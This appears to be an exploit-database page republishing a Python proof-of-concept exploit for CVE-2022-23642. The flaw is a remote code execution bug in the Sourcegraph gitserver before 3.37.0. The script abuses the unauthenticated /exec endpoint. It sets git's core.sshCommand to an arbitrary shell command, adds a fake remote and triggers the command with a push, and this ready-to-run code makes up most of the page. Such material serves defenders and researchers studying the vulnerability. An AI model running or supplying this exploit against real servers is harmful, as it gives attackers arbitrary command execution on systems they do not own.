Lucene search
K

Sourcegraph Gitserver 3.36.3 Remote Code Execution

🗓️ 20 Jun 2022 00:00:00Reported by AltelusType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 308 Views

Sourcegraph prior to version 3.37.0 is vulnerable to remote code execution (RCE) via gitserver service due to unrestricted git config execution, allowing arbitrary bash commands through "core.sshCommand" in HTTP arguments

Related
Code
`# Exploit Title: Sourcegraph Gitserver 3.36.3 - Remote Code Execution (RCE)  
# Date: 2022-06-10  
# Exploit Author: Altelus  
# Vendor Homepage: https://about.sourcegraph.com/  
# Version: 3.63.3   
# Tested on: Linux  
# CVE : CVE-2022-23642  
# Docker Container: sourcegraph/server:3.36.3  
  
# Sourcegraph prior to 3.37.0 has a remote code execution vulnerability on its gitserver service.   
# This is due to lack of restriction on git config execution thus "core.sshCommand" can be passed   
# on the HTTP arguments which can contain arbitrary bash commands. Note that this is only possible   
# if gitserver is exposed to the attacker. This is tested on Sourcegraph 3.36.3  
#  
# Exploitation parameters:  
# - Exposed Sourcegraph gitserver  
# - Existing repo on sourcegraph  
  
  
  
import json  
import argparse  
import requests  
  
def exploit(host, existing_git, cmd):  
  
# setting sshCommand  
data = {  
"Repo" : existing_git,  
"Args" : [  
"config",  
"core.sshCommand",  
cmd  
]  
}  
  
res = requests.get(host+"/exec", json=data).text  
  
if len(res) > 0:  
print("[-] Didn't work: {}".format(res))  
exit(0)  
  
# setting fake origin  
data = {  
"Repo" : existing_git,  
"Args" : [  
"remote",  
"add",  
"origin",  
"git@lolololz:foo/bar.git"  
]  
}  
  
res = requests.get(host+"/exec", json=data).text  
  
if len(res) > 0:  
print("[-] Didn't work: {}".format(res))  
exit(0)  
  
# triggering command using push  
data = {  
"Repo" : existing_git,  
"Args" : [  
"push",  
"origin",  
"master"  
]  
}  
  
res = requests.get(host+"/exec", json=data).text  
  
print("[*] Finished executing exploit")  
  
parser = argparse.ArgumentParser()  
  
parser.add_argument('--gitserver-host', required=True, help="Target Sourcegraph Gitserver Host")  
parser.add_argument('--existing-git', required=True, help="e.g. Link of existing repository in target Sourcegraph")  
parser.add_argument('--cmd', required=True, help="Command to run")  
args = parser.parse_args()  
  
host = args.gitserver_host  
existing_git = args.existing_git  
cmd = args.cmd  
  
  
exploit(host, existing_git, cmd)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation